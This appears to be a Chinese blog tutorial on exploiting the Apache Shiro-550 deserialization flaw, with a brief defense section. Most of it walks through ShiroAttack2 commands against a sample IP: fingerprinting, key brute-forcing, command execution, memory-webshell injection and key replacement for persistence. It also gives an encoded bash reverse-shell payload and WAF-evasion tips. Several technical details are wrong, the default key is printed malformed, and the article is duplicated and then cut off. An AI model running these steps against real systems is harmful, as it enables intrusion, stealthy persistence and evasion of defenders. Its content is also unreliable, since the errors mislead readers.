1. 项目概述最近在整理渗透测试的实战笔记翻到了不少关于Apache Shiro框架反序列化漏洞的利用记录。这个漏洞业内常说的Shiro-550从2016年被披露至今依然能在很多企业的资产里看到它的身影生命力之顽强让人不得不感慨。很多刚入行的朋友可能会觉得一个快十年的老洞应该早就被修复干净了吧但现实情况是由于历史遗留的默认密钥、复杂的密钥更换流程以及极低的利用门槛它依然是红队评估和授权渗透测试中的“常客”。今天我就结合自己多次在授权测试中的实战经历来详细拆解一下Shiro漏洞的利用思路、核心工具链以及那些容易踩坑的细节。这篇文章不是教你如何攻击而是作为一个防御者和安全研究者的视角去理解攻击链条从而更好地进行防护。无论你是安全工程师、开发人员还是对Web安全感兴趣的朋友都能从中了解到这个经典漏洞的“前世今生”和攻防要点。2. Shiro-550漏洞原理深度剖析2.1 漏洞的根源RememberMe功能的“阿喀琉斯之踵”Apache Shiro是一个强大且易用的Java安全框架提供了认证、授权、加密和会话管理等功能。其“记住我”RememberMe功能本是为了提升用户体验允许用户在关闭浏览器后再次访问时无需重新登录。然而正是这个便利的功能埋下了严重的安全隐患。漏洞的核心在于CookieRememberMeManager这个类对RememberMe Cookie的处理流程。当用户勾选“记住我”并成功登录后Shiro会将用户的身份信息Principal序列化然后使用AES算法进行加密最后将密文进行Base64编码设置为一个名为rememberMe的Cookie发送给浏览器。当用户再次访问时浏览器会携带这个CookieShiro服务端会对其进行解密、反序列化从而重建用户会话实现自动登录。问题出在以下几个环节的叠加硬编码的默认密钥在Shiro 1.2.4及更早的版本中用于AES加密解密的密钥是硬编码在源码里的kPHbIxk5D2deZiIxcaaaA。这意味着任何使用这些版本且未主动修改密钥的应用都使用着全世界攻击者都知道的“万能钥匙”。加密模式与PaddingShiro使用了AES-CBC加密模式并采用了PKCS5Padding。CBC模式本身需要初始化向量IV但Shiro在加密时IV是随机生成的并和密文一起序列化。这本身不是问题问题在于反序列化的逻辑。脆弱的异常处理流程服务端在解密Cookie时会先Base64解码然后用AES解密最后进行Java反序列化。关键在于无论解密失败密钥错误还是反序列化失败数据被篡改或密钥错误导致解密出的数据乱码Shiro 1.x版本都会返回一个Set-Cookie: rememberMedeleteMe的响应头指示浏览器删除这个无效的Cookie。这个行为成为了漏洞检测和密钥爆破的“指示灯”。攻击者正是利用了这一点先发送一个恶意的RememberMe Cookie如果服务端返回deleteMe则说明目标使用了Shiro框架因为其他框架通常不会对这个特定Cookie名有如此反应。接着攻击者可以系统地尝试密钥字典。当尝试到正确的密钥时解密过程会成功至少能通过AES解密即使反序列化可能因数据格式不对而失败服务端便不会返回deleteMe响应头。通过这种“有”或“无”的差异攻击者就能判定密钥是否正确。实操心得很多自动化工具有时会误报因为一些WAF或中间件也可能拦截请求并返回类似deleteMe的指令。最可靠的判断方法是结合响应码和响应体长度。一个典型的Shiro“指纹”是发送一个无效的rememberMe1如果返回200状态码且带有deleteMe的Set-Cookie头基本可以确定是Shiro。如果返回403/500等则需要进一步分析。2.2 从密钥到命令执行反序列化Gadget链的利用拿到AES密钥只是第一步如同拿到了一把锁的钥匙。接下来攻击者需要构造一个能打开“保险箱”执行系统命令的“工具”Gadget链。Java反序列化漏洞的本质是程序在反序列化不可信的数据时会调用该数据所代表的对象的readObject方法。如果攻击者能够精心构造一条链式调用Gadget Chain让readObject方法最终执行到诸如Runtime.exec()这样的危险方法就能实现远程代码执行RCE。在Shiro的上下文中攻击流程如下构造Payload攻击者选取一个合适的Gadget链例如基于CommonsBeanutils、CommonsCollections库的链将想要执行的命令如/bin/bash -c {echo,YmFzaCAtaSAJiAvZGV2L3RjcC8xMjcuMC4wLjEvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}这是一个编码后的反弹Shell命令作为最终触发点的一部分封装进Payload对象。序列化与加密将这个恶意Payload对象进行Java序列化得到字节数组。然后使用之前爆破得到的正确AES密钥对这个字节数组进行加密和Base64编码生成最终的rememberMeCookie值。发送请求将构造好的Cookie附在HTTP请求中发送给目标。触发漏洞目标Shiro服务端接收到Cookie使用相同的密钥解密然后对解密后的字节流进行反序列化。反序列化过程会沿着Gadget链执行最终触发命令执行。这里有一个关键点Shiro在反序列化时默认使用ObjectInputStream并且没有对反序列化的类做任何白名单限制。这意味着任何存在于目标应用ClassPath中的、可利用的Gadget链类都可以被加载和使用。注意事项Gadget链的利用高度依赖目标服务器的ClassPath。如果目标应用没有引入commons-collections、commons-beanutils等常见的有漏洞版本的库那么很多公开的Gadget链就会失效。这也是为什么高级的利用工具如ShiroAttack2会集成多种链并尝试自动探测的原因。在实际测试中遇到“有密钥但打不通”的情况十有八九是Gadget链不匹配。3. 实战利用工具链解析与操作3.1 工具选型为什么是ShiroAttack2市面上Shiro漏洞利用工具很多从早期的ShiroExploit、ShiroScan到现在的ShiroAttack2、ShiroRCE等。经过多次实战对比我倾向于使用ShiroAttack2。原因如下功能全面且更新活跃它不仅支持经典的密钥爆破和命令执行还集成了内存马注入、密钥替换等高级利用方式并且对Shiro 1.2.5之后引入的AES-GCM加密模式也有良好支持。双模式支持提供GUI图形界面和CLI命令行界面。GUI适合单点目标的手动测试和可视化操作CLI模式则可以无缝集成到自动化扫描脚本或C2平台中非常适合批量测试和红队作战。自动化程度高具备自动探测Shiro版本、自动切换AES加密模式CBC/GCM、自动尝试多种Gadget链等功能大大降低了手动测试的复杂度。结构化输出CLI模式支持--json参数输出格式化的JSON数据便于其他程序如扫描器、AI Agent解析结果实现了很好的工具链集成性。当然工具只是辅助理解其背后的原理和流程才是关键。下面我将以ShiroAttack2的CLI模式为例拆解一次完整的攻击流程。3.2 环境准备与工具部署首先你需要一个授权测试的目标。对于学习和研究强烈建议在本地搭建漏洞靶场例如使用vulfocus靶场镜像里面就有现成的Shiro漏洞环境。步骤1获取工具前往ShiroAttack2的GitHub Release页面下载最新版本的JAR文件。通常会有两个版本一个对应JDK 8一个对应JDK 11根据你的Java环境选择。我一般直接下载shiro_attack-version-jdk8.jar因为兼容性最好。步骤2准备字典文件工具的运行依赖data/shiro_keys.txt这个密钥字典文件。如果下载的是bundle包里面已经包含。如果只下载了JAR需要手动创建data目录并从项目仓库中复制shiro_keys.txt文件进去。这个文件包含了常见的Shiro默认密钥和弱密钥是爆破成功的基础。步骤3运行结构最终你的工作目录应该类似这样. ├── shiro_attack-5.1.1-jdk8.jar └── data/ └── shiro_keys.txt如果需要使用某些特定版本的Gadget链比如针对不同版本的commons-beanutils可能还需要libs目录下的依赖JAR但工具内置了一些常见链对于基础测试通常够用。3.3 分步实操从探测到GetShell假设我们的测试目标是http://192.168.1.100:8080。阶段一探测Detect探测的目的是确认目标是否使用了Shiro框架。java -cp shiro_attack-5.1.1-jdk8.jar com.summersec.attack.CLI.MainCLI detect --url http://192.168.1.100:8080这个命令会向目标发送一个特殊的探测请求。工具内部会发送一个无效的rememberMeCookie并检查响应头中是否包含Set-Cookie: rememberMedeleteMe。如果包含则判断为Shiro框架并会尝试获取一些其他信息如是否使用JSESSIONID、可能的Shiro版本提示等。常见问题如果目标部署在反向代理如Nginx后面或者配置了全局的Cookie处理规则可能会干扰探测结果。此时可以尝试添加--header参数附加一些头部或使用--proxy参数设置代理进行流量观察。阶段二爆破密钥Crack确认是Shiro后下一步就是爆破其AES密钥。java -cp shiro_attack-5.1.1-jdk8.jar com.summersec.attack.CLI.MainCLI crack --url http://192.168.1.100:8080工具会加载data/shiro_keys.txt中的密钥列表依次尝试。它采用了一种高效的方式构造一个简单的序列化对象如SimplePrincipalCollection用每个密钥加密后发送。如果服务端没有返回deleteMe则认为该密钥有效。爆破过程可能会看到如下输出[*] Start crack shiro key... [*] Target URL: http://192.168.1.100:8080 [*] Load 124 keys from data/shiro_keys.txt [] Try key[23]: kPHbIxk5D2deZiIxcaaaA ... No deleteMe! [] Found key: kPHbIxk5D2deZiIxcaaaA (AES-CBC Mode)这里非常重要工具会自动检测并显示加密模式是AES-CBC还是AES-GCM。Shiro 1.2.5及以上版本默认使用了GCM模式其利用方式与CBC略有不同。ShiroAttack2会自动进行两种模式的尝试。阶段三执行命令Exec拿到密钥后就可以尝试命令执行了。这是最激动人心也最需要谨慎的一步。java -cp shiro_attack-5.1.1-jdk8.jar com.summersec.attack.CLI.MainCLI exec --url http://192.168.1.100:8080 --key kPHbIxk5D2deZiIxcaaaA --gadget CB --command whoami参数解释--key: 上一步爆破得到的密钥。--gadget: 指定Gadget链类型。CB代表CommonsBeanutils链这是最常用的一种。工具也支持其他如CCCommonsCollections等。如果不指定工具会尝试自动探测。--command: 要执行的系统命令。如果一切顺利你会看到命令的执行结果输出。例如返回root或tomcat等。踩坑实录“有密钥但执行命令没回显”这是最常见的问题。首先检查命令本身是否能在目标系统执行比如Windows和Linux命令不同。其次可能是Gadget链不兼容。尝试更换--gadget参数比如换成CC链或者使用--gadget all让工具自动遍历所有可用链。“工具显示成功但实际没执行”可能是目标环境有安全软件如HIDS拦截了进程创建或者Java安全管理器SecurityManager限制了命令执行。此时可以尝试无回显的利用方式如DNSLog外带数据或者转向内存马注入。编码问题如果命令中包含特殊字符如空格、引号、管道符|在命令行中需要妥善处理。最好先用Base64或URL编码一下命令或者在工具中寻找对应的编码选项。阶段四注入内存马Memshell在实战中直接执行命令可能不稳定每次都要重新生成Payload且容易被拦截。注入内存马是更持久、更隐蔽的方式。内存马是运行在服务器内存中的Webshell不落盘重启即失效但难以被传统文件扫描检测。java -cp shiro_attack-5.1.1-jdk8.jar com.summersec.attack.CLI.MainCLI memshell --url http://192.168.1.100:8080 --key kPHbIxk5D2deZiIxcaaaA --type filter --path /shell --password summer参数解释--type: 内存马类型。filter表示注入一个Filter型内存马这是最通用的类型。还有servlet、interceptor等取决于目标Web容器和框架。--path: 内存马的访问路径。这里设置为/shell意味着之后可以通过http://192.168.1.100:8080/shell来访问这个内存马。--password: 连接密码。连接时需要使用此密码进行认证增加一点安全性防止被其他人偶然访问。注入成功后你就可以使用蚁剑、冰蝎或哥斯拉等Webshell管理工具选择对应的内存马类型和密码连接这个路径获得一个交互式的Webshell。高级技巧--type的选择有讲究。如果目标是Spring Boot应用interceptor或controller类型可能成功率更高。ShiroAttack2在注入时会尝试多种路径并自动验证是否注入成功。查看工具的详细输出可以知道它具体注入了哪个类、哪个方法这对于后续的排查和清理很有帮助。阶段五密钥替换ChangeKey这是一个“釜底抽薪”的后续攻击手段。在已经获得一定权限如通过内存马后攻击者可以将目标Shiro应用的AES密钥替换成自己已知的密钥。这样即使原管理员发现了漏洞并修改了代码中的密钥攻击者依然可以用自己的新密钥构造Cookie保持权限的持久化。java -cp shiro_attack-5.1.1-jdk8.jar com.summersec.attack.CLI.MainCLI changekey --url http://192.168.1.100:8080 --oldkey kPHbIxk5D2deZiIxcaaaA --newkey 2AvVhdsgUs0FSA3SDFAdag这个功能利用了Shiro在内存中管理密钥的特性通过反射修改运行时的密钥值。此操作风险极高会直接影响应用正常用户的“记住我”功能仅在深度渗透测试且有明确授权时考虑。4. 绕过防御与高级利用场景4.1 应对WAF与流量检测随着Shiro漏洞的普及越来越多的WAFWeb应用防火墙和IDS/IPS开始检测特征明显的Shiro攻击流量。常见的检测点包括Cookie名称rememberMe这个键名。Cookie值长度与特征Base64编码后的AES密文有固定长度特征且可能包含某些Gadget链的类名特征。请求频率短时间内大量尝试不同密钥的爆破行为。绕过思路修改Cookie名一些WAF规则只检测rememberMe。可以尝试通过其他参数传递Payload比如利用Shiro可能从header或parameter中读取rememberMe值的特性取决于配置。但大多数情况下Cookie是唯一入口。流量编码与分割对Payload进行多次Base64编码、URL编码或者将Payload分割到多个Cookie或POST参数中在服务端拼接。ShiroAttack2的BypassWaf模块提供了一些编码选项。使用冷门Gadget链避免使用CommonsBeanutils、CommonsCollections这些被广泛检测的链。研究并利用其他第三方库的Gadget链如rome、hibernate、spring-core等。这需要攻击者对目标应用的依赖库有深入了解。降低请求频率在爆破密钥时使用延时参数模拟正常用户访问速度。利用HTTPS代理将所有攻击流量通过一个加密的HTTPS代理发出可以绕过一些基于明文流量特征检测的IDS。4.2 无通用Gadget链的场景利用在实战中最头疼的情况是成功爆破了密钥但目标应用的ClassPath里没有任何已知的、可用的通用Gadget链库如commons-collections, commons-beanutils。这时候怎么办寻找应用自身的可利用类这是最高级的手法。需要分析目标应用自己引入的JAR包寻找其中实现了Serializable接口、并且其readObject、getter/setter等方法中存在“危险操作”如JNDI查找、反射调用、类加载、文件写入等的类手工构造一条Gadget链。这需要深厚的Java安全和代码审计功底。利用JDK原生链从JDK 7u21、8u20开始也存在一些原生的Gadget链如基于javax.management.BadAttributeValueExpException和com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl的链。这些链不依赖第三方库但利用条件可能更苛刻。转向其他攻击面如果RCE实在无法实现可以考虑利用反序列化进行其他操作比如文件写入如果找到可以写文件的Gadget也许能写入一个JSP Webshell。SSRF利用可以发起网络请求的Gadget探测内网服务。DoS构造导致无限循环或大量内存消耗的反序列化对象造成拒绝服务。4.3 针对Shiro 1.2.5 (AES-GCM) 的利用Shiro 1.2.5版本将默认的加密模式从AES-CBC切换到了更安全的AES-GCM。GCM模式提供了加密和完整性认证理论上能防止Padding Oracle攻击而Shiro-550的原始利用正是基于CBC模式的Padding Oracle特性。然而这并没有完全封堵漏洞。如果攻击者通过其他方式如代码泄露、配置文件泄露拿到了AES-GCM的密钥他依然可以构造有效的加密Payload进行攻击。ShiroAttack2工具也支持GCM模式其利用流程与CBC模式在“拥有密钥后”的步骤是一致的。区别在于加密和解密的算法细节。工具会自动识别和切换模式对使用者来说是透明的。关键点在于GCM模式只是提高了密钥爆破的难度因为没有deleteMe这种明显的Oracle了但并没有改变“使用固定密钥加密用户可控的反序列化数据”这一根本脆弱点。只要密钥泄露风险依旧存在。5. 防御建议与排查指南说了这么多攻击层面的事情最终目的还是为了防御。作为防御方应该怎么做5.1 针对开发与运维的加固措施立即升级Shiro版本升级到最新版本至少1.7.0以上新版Shiro在安全机制上有多处增强。必须更换默认密钥这是最重要、最直接的一步。在Shiro配置文件中通常是shiro.ini或Spring配置中的ShiroFilter显式地配置一个强随机密钥。# shiro.ini 示例 securityManager.rememberMeManager.cipherKey base64:${your_strong_random_base64_key_here}生成强密钥的命令openssl rand -base64 32禁用RememberMe功能如果业务不需要“记住我”功能直接在配置中禁用它。使用安全的反序列化器考虑使用白名单机制的反序列化工具如SerialKiller、Jackson的JsonTypeInfo注解配合多态类型处理或者直接使用JSON等更安全的序列化格式替代Java原生序列化。最小化依赖定期清理项目依赖移除不必要的库特别是那些已知存在反序列化Gadget的库如旧版本的commons-collections, commons-beanutils等。5.2 安全监控与应急响应日志监控在应用日志中监控异常的反序列化错误堆栈。Shiro在解密或反序列化失败时会记录日志。大量、频繁的DecryptionException或SerializationException可能是爆破攻击的迹象。流量监控在WAF或网关层面设置规则检测对/根路径或登录接口的、携带超长rememberMeCookie的请求并告警。主机监控使用HIDS监控Java进程突然创建陌生子进程如bash、cmd、powershell的行为。应急排查检查密钥检查线上配置文件中的Shiro密钥是否为默认或弱密钥。排查内存马使用Java Agent技术或Arthas等诊断工具动态检查已加载的类特别是Filter、Servlet、Controller中是否存在可疑的、名称异常的类。也可以重启应用服务器内存马会随之消失但这只是临时措施。检查后门文件排查Web目录下是否有新增的、可疑的.jsp、.jspx、.war文件。分析访问日志寻找访问路径异常如突然访问一个不存在的/shell、/cmd路径或User-Agent异常的请求。Shiro-550漏洞的持久存在是默认安全配置、密钥管理难题和低利用成本共同作用的结果。对于攻击者它是一个经典的入口点对于防御者它是一个必须堵上的缺口。理解整个利用链条的每一个环节从默认密钥到Gadget链从命令执行到内存马才能真正做到有效防护。安全是一个持续的过程没有一劳永逸的解决方案保持组件的更新、遵循安全开发规范、建立有效的监控响应体系才是应对此类漏洞的根本之道。
Apache Shiro反序列化漏洞实战:从原理到利用与防御
发布时间:2026/7/3 9:44:38
1. 项目概述最近在整理渗透测试的实战笔记翻到了不少关于Apache Shiro框架反序列化漏洞的利用记录。这个漏洞业内常说的Shiro-550从2016年被披露至今依然能在很多企业的资产里看到它的身影生命力之顽强让人不得不感慨。很多刚入行的朋友可能会觉得一个快十年的老洞应该早就被修复干净了吧但现实情况是由于历史遗留的默认密钥、复杂的密钥更换流程以及极低的利用门槛它依然是红队评估和授权渗透测试中的“常客”。今天我就结合自己多次在授权测试中的实战经历来详细拆解一下Shiro漏洞的利用思路、核心工具链以及那些容易踩坑的细节。这篇文章不是教你如何攻击而是作为一个防御者和安全研究者的视角去理解攻击链条从而更好地进行防护。无论你是安全工程师、开发人员还是对Web安全感兴趣的朋友都能从中了解到这个经典漏洞的“前世今生”和攻防要点。2. Shiro-550漏洞原理深度剖析2.1 漏洞的根源RememberMe功能的“阿喀琉斯之踵”Apache Shiro是一个强大且易用的Java安全框架提供了认证、授权、加密和会话管理等功能。其“记住我”RememberMe功能本是为了提升用户体验允许用户在关闭浏览器后再次访问时无需重新登录。然而正是这个便利的功能埋下了严重的安全隐患。漏洞的核心在于CookieRememberMeManager这个类对RememberMe Cookie的处理流程。当用户勾选“记住我”并成功登录后Shiro会将用户的身份信息Principal序列化然后使用AES算法进行加密最后将密文进行Base64编码设置为一个名为rememberMe的Cookie发送给浏览器。当用户再次访问时浏览器会携带这个CookieShiro服务端会对其进行解密、反序列化从而重建用户会话实现自动登录。问题出在以下几个环节的叠加硬编码的默认密钥在Shiro 1.2.4及更早的版本中用于AES加密解密的密钥是硬编码在源码里的kPHbIxk5D2deZiIxcaaaA。这意味着任何使用这些版本且未主动修改密钥的应用都使用着全世界攻击者都知道的“万能钥匙”。加密模式与PaddingShiro使用了AES-CBC加密模式并采用了PKCS5Padding。CBC模式本身需要初始化向量IV但Shiro在加密时IV是随机生成的并和密文一起序列化。这本身不是问题问题在于反序列化的逻辑。脆弱的异常处理流程服务端在解密Cookie时会先Base64解码然后用AES解密最后进行Java反序列化。关键在于无论解密失败密钥错误还是反序列化失败数据被篡改或密钥错误导致解密出的数据乱码Shiro 1.x版本都会返回一个Set-Cookie: rememberMedeleteMe的响应头指示浏览器删除这个无效的Cookie。这个行为成为了漏洞检测和密钥爆破的“指示灯”。攻击者正是利用了这一点先发送一个恶意的RememberMe Cookie如果服务端返回deleteMe则说明目标使用了Shiro框架因为其他框架通常不会对这个特定Cookie名有如此反应。接着攻击者可以系统地尝试密钥字典。当尝试到正确的密钥时解密过程会成功至少能通过AES解密即使反序列化可能因数据格式不对而失败服务端便不会返回deleteMe响应头。通过这种“有”或“无”的差异攻击者就能判定密钥是否正确。实操心得很多自动化工具有时会误报因为一些WAF或中间件也可能拦截请求并返回类似deleteMe的指令。最可靠的判断方法是结合响应码和响应体长度。一个典型的Shiro“指纹”是发送一个无效的rememberMe1如果返回200状态码且带有deleteMe的Set-Cookie头基本可以确定是Shiro。如果返回403/500等则需要进一步分析。2.2 从密钥到命令执行反序列化Gadget链的利用拿到AES密钥只是第一步如同拿到了一把锁的钥匙。接下来攻击者需要构造一个能打开“保险箱”执行系统命令的“工具”Gadget链。Java反序列化漏洞的本质是程序在反序列化不可信的数据时会调用该数据所代表的对象的readObject方法。如果攻击者能够精心构造一条链式调用Gadget Chain让readObject方法最终执行到诸如Runtime.exec()这样的危险方法就能实现远程代码执行RCE。在Shiro的上下文中攻击流程如下构造Payload攻击者选取一个合适的Gadget链例如基于CommonsBeanutils、CommonsCollections库的链将想要执行的命令如/bin/bash -c {echo,YmFzaCAtaSAJiAvZGV2L3RjcC8xMjcuMC4wLjEvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}这是一个编码后的反弹Shell命令作为最终触发点的一部分封装进Payload对象。序列化与加密将这个恶意Payload对象进行Java序列化得到字节数组。然后使用之前爆破得到的正确AES密钥对这个字节数组进行加密和Base64编码生成最终的rememberMeCookie值。发送请求将构造好的Cookie附在HTTP请求中发送给目标。触发漏洞目标Shiro服务端接收到Cookie使用相同的密钥解密然后对解密后的字节流进行反序列化。反序列化过程会沿着Gadget链执行最终触发命令执行。这里有一个关键点Shiro在反序列化时默认使用ObjectInputStream并且没有对反序列化的类做任何白名单限制。这意味着任何存在于目标应用ClassPath中的、可利用的Gadget链类都可以被加载和使用。注意事项Gadget链的利用高度依赖目标服务器的ClassPath。如果目标应用没有引入commons-collections、commons-beanutils等常见的有漏洞版本的库那么很多公开的Gadget链就会失效。这也是为什么高级的利用工具如ShiroAttack2会集成多种链并尝试自动探测的原因。在实际测试中遇到“有密钥但打不通”的情况十有八九是Gadget链不匹配。3. 实战利用工具链解析与操作3.1 工具选型为什么是ShiroAttack2市面上Shiro漏洞利用工具很多从早期的ShiroExploit、ShiroScan到现在的ShiroAttack2、ShiroRCE等。经过多次实战对比我倾向于使用ShiroAttack2。原因如下功能全面且更新活跃它不仅支持经典的密钥爆破和命令执行还集成了内存马注入、密钥替换等高级利用方式并且对Shiro 1.2.5之后引入的AES-GCM加密模式也有良好支持。双模式支持提供GUI图形界面和CLI命令行界面。GUI适合单点目标的手动测试和可视化操作CLI模式则可以无缝集成到自动化扫描脚本或C2平台中非常适合批量测试和红队作战。自动化程度高具备自动探测Shiro版本、自动切换AES加密模式CBC/GCM、自动尝试多种Gadget链等功能大大降低了手动测试的复杂度。结构化输出CLI模式支持--json参数输出格式化的JSON数据便于其他程序如扫描器、AI Agent解析结果实现了很好的工具链集成性。当然工具只是辅助理解其背后的原理和流程才是关键。下面我将以ShiroAttack2的CLI模式为例拆解一次完整的攻击流程。3.2 环境准备与工具部署首先你需要一个授权测试的目标。对于学习和研究强烈建议在本地搭建漏洞靶场例如使用vulfocus靶场镜像里面就有现成的Shiro漏洞环境。步骤1获取工具前往ShiroAttack2的GitHub Release页面下载最新版本的JAR文件。通常会有两个版本一个对应JDK 8一个对应JDK 11根据你的Java环境选择。我一般直接下载shiro_attack-version-jdk8.jar因为兼容性最好。步骤2准备字典文件工具的运行依赖data/shiro_keys.txt这个密钥字典文件。如果下载的是bundle包里面已经包含。如果只下载了JAR需要手动创建data目录并从项目仓库中复制shiro_keys.txt文件进去。这个文件包含了常见的Shiro默认密钥和弱密钥是爆破成功的基础。步骤3运行结构最终你的工作目录应该类似这样. ├── shiro_attack-5.1.1-jdk8.jar └── data/ └── shiro_keys.txt如果需要使用某些特定版本的Gadget链比如针对不同版本的commons-beanutils可能还需要libs目录下的依赖JAR但工具内置了一些常见链对于基础测试通常够用。3.3 分步实操从探测到GetShell假设我们的测试目标是http://192.168.1.100:8080。阶段一探测Detect探测的目的是确认目标是否使用了Shiro框架。java -cp shiro_attack-5.1.1-jdk8.jar com.summersec.attack.CLI.MainCLI detect --url http://192.168.1.100:8080这个命令会向目标发送一个特殊的探测请求。工具内部会发送一个无效的rememberMeCookie并检查响应头中是否包含Set-Cookie: rememberMedeleteMe。如果包含则判断为Shiro框架并会尝试获取一些其他信息如是否使用JSESSIONID、可能的Shiro版本提示等。常见问题如果目标部署在反向代理如Nginx后面或者配置了全局的Cookie处理规则可能会干扰探测结果。此时可以尝试添加--header参数附加一些头部或使用--proxy参数设置代理进行流量观察。阶段二爆破密钥Crack确认是Shiro后下一步就是爆破其AES密钥。java -cp shiro_attack-5.1.1-jdk8.jar com.summersec.attack.CLI.MainCLI crack --url http://192.168.1.100:8080工具会加载data/shiro_keys.txt中的密钥列表依次尝试。它采用了一种高效的方式构造一个简单的序列化对象如SimplePrincipalCollection用每个密钥加密后发送。如果服务端没有返回deleteMe则认为该密钥有效。爆破过程可能会看到如下输出[*] Start crack shiro key... [*] Target URL: http://192.168.1.100:8080 [*] Load 124 keys from data/shiro_keys.txt [] Try key[23]: kPHbIxk5D2deZiIxcaaaA ... No deleteMe! [] Found key: kPHbIxk5D2deZiIxcaaaA (AES-CBC Mode)这里非常重要工具会自动检测并显示加密模式是AES-CBC还是AES-GCM。Shiro 1.2.5及以上版本默认使用了GCM模式其利用方式与CBC略有不同。ShiroAttack2会自动进行两种模式的尝试。阶段三执行命令Exec拿到密钥后就可以尝试命令执行了。这是最激动人心也最需要谨慎的一步。java -cp shiro_attack-5.1.1-jdk8.jar com.summersec.attack.CLI.MainCLI exec --url http://192.168.1.100:8080 --key kPHbIxk5D2deZiIxcaaaA --gadget CB --command whoami参数解释--key: 上一步爆破得到的密钥。--gadget: 指定Gadget链类型。CB代表CommonsBeanutils链这是最常用的一种。工具也支持其他如CCCommonsCollections等。如果不指定工具会尝试自动探测。--command: 要执行的系统命令。如果一切顺利你会看到命令的执行结果输出。例如返回root或tomcat等。踩坑实录“有密钥但执行命令没回显”这是最常见的问题。首先检查命令本身是否能在目标系统执行比如Windows和Linux命令不同。其次可能是Gadget链不兼容。尝试更换--gadget参数比如换成CC链或者使用--gadget all让工具自动遍历所有可用链。“工具显示成功但实际没执行”可能是目标环境有安全软件如HIDS拦截了进程创建或者Java安全管理器SecurityManager限制了命令执行。此时可以尝试无回显的利用方式如DNSLog外带数据或者转向内存马注入。编码问题如果命令中包含特殊字符如空格、引号、管道符|在命令行中需要妥善处理。最好先用Base64或URL编码一下命令或者在工具中寻找对应的编码选项。阶段四注入内存马Memshell在实战中直接执行命令可能不稳定每次都要重新生成Payload且容易被拦截。注入内存马是更持久、更隐蔽的方式。内存马是运行在服务器内存中的Webshell不落盘重启即失效但难以被传统文件扫描检测。java -cp shiro_attack-5.1.1-jdk8.jar com.summersec.attack.CLI.MainCLI memshell --url http://192.168.1.100:8080 --key kPHbIxk5D2deZiIxcaaaA --type filter --path /shell --password summer参数解释--type: 内存马类型。filter表示注入一个Filter型内存马这是最通用的类型。还有servlet、interceptor等取决于目标Web容器和框架。--path: 内存马的访问路径。这里设置为/shell意味着之后可以通过http://192.168.1.100:8080/shell来访问这个内存马。--password: 连接密码。连接时需要使用此密码进行认证增加一点安全性防止被其他人偶然访问。注入成功后你就可以使用蚁剑、冰蝎或哥斯拉等Webshell管理工具选择对应的内存马类型和密码连接这个路径获得一个交互式的Webshell。高级技巧--type的选择有讲究。如果目标是Spring Boot应用interceptor或controller类型可能成功率更高。ShiroAttack2在注入时会尝试多种路径并自动验证是否注入成功。查看工具的详细输出可以知道它具体注入了哪个类、哪个方法这对于后续的排查和清理很有帮助。阶段五密钥替换ChangeKey这是一个“釜底抽薪”的后续攻击手段。在已经获得一定权限如通过内存马后攻击者可以将目标Shiro应用的AES密钥替换成自己已知的密钥。这样即使原管理员发现了漏洞并修改了代码中的密钥攻击者依然可以用自己的新密钥构造Cookie保持权限的持久化。java -cp shiro_attack-5.1.1-jdk8.jar com.summersec.attack.CLI.MainCLI changekey --url http://192.168.1.100:8080 --oldkey kPHbIxk5D2deZiIxcaaaA --newkey 2AvVhdsgUs0FSA3SDFAdag这个功能利用了Shiro在内存中管理密钥的特性通过反射修改运行时的密钥值。此操作风险极高会直接影响应用正常用户的“记住我”功能仅在深度渗透测试且有明确授权时考虑。4. 绕过防御与高级利用场景4.1 应对WAF与流量检测随着Shiro漏洞的普及越来越多的WAFWeb应用防火墙和IDS/IPS开始检测特征明显的Shiro攻击流量。常见的检测点包括Cookie名称rememberMe这个键名。Cookie值长度与特征Base64编码后的AES密文有固定长度特征且可能包含某些Gadget链的类名特征。请求频率短时间内大量尝试不同密钥的爆破行为。绕过思路修改Cookie名一些WAF规则只检测rememberMe。可以尝试通过其他参数传递Payload比如利用Shiro可能从header或parameter中读取rememberMe值的特性取决于配置。但大多数情况下Cookie是唯一入口。流量编码与分割对Payload进行多次Base64编码、URL编码或者将Payload分割到多个Cookie或POST参数中在服务端拼接。ShiroAttack2的BypassWaf模块提供了一些编码选项。使用冷门Gadget链避免使用CommonsBeanutils、CommonsCollections这些被广泛检测的链。研究并利用其他第三方库的Gadget链如rome、hibernate、spring-core等。这需要攻击者对目标应用的依赖库有深入了解。降低请求频率在爆破密钥时使用延时参数模拟正常用户访问速度。利用HTTPS代理将所有攻击流量通过一个加密的HTTPS代理发出可以绕过一些基于明文流量特征检测的IDS。4.2 无通用Gadget链的场景利用在实战中最头疼的情况是成功爆破了密钥但目标应用的ClassPath里没有任何已知的、可用的通用Gadget链库如commons-collections, commons-beanutils。这时候怎么办寻找应用自身的可利用类这是最高级的手法。需要分析目标应用自己引入的JAR包寻找其中实现了Serializable接口、并且其readObject、getter/setter等方法中存在“危险操作”如JNDI查找、反射调用、类加载、文件写入等的类手工构造一条Gadget链。这需要深厚的Java安全和代码审计功底。利用JDK原生链从JDK 7u21、8u20开始也存在一些原生的Gadget链如基于javax.management.BadAttributeValueExpException和com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl的链。这些链不依赖第三方库但利用条件可能更苛刻。转向其他攻击面如果RCE实在无法实现可以考虑利用反序列化进行其他操作比如文件写入如果找到可以写文件的Gadget也许能写入一个JSP Webshell。SSRF利用可以发起网络请求的Gadget探测内网服务。DoS构造导致无限循环或大量内存消耗的反序列化对象造成拒绝服务。4.3 针对Shiro 1.2.5 (AES-GCM) 的利用Shiro 1.2.5版本将默认的加密模式从AES-CBC切换到了更安全的AES-GCM。GCM模式提供了加密和完整性认证理论上能防止Padding Oracle攻击而Shiro-550的原始利用正是基于CBC模式的Padding Oracle特性。然而这并没有完全封堵漏洞。如果攻击者通过其他方式如代码泄露、配置文件泄露拿到了AES-GCM的密钥他依然可以构造有效的加密Payload进行攻击。ShiroAttack2工具也支持GCM模式其利用流程与CBC模式在“拥有密钥后”的步骤是一致的。区别在于加密和解密的算法细节。工具会自动识别和切换模式对使用者来说是透明的。关键点在于GCM模式只是提高了密钥爆破的难度因为没有deleteMe这种明显的Oracle了但并没有改变“使用固定密钥加密用户可控的反序列化数据”这一根本脆弱点。只要密钥泄露风险依旧存在。5. 防御建议与排查指南说了这么多攻击层面的事情最终目的还是为了防御。作为防御方应该怎么做5.1 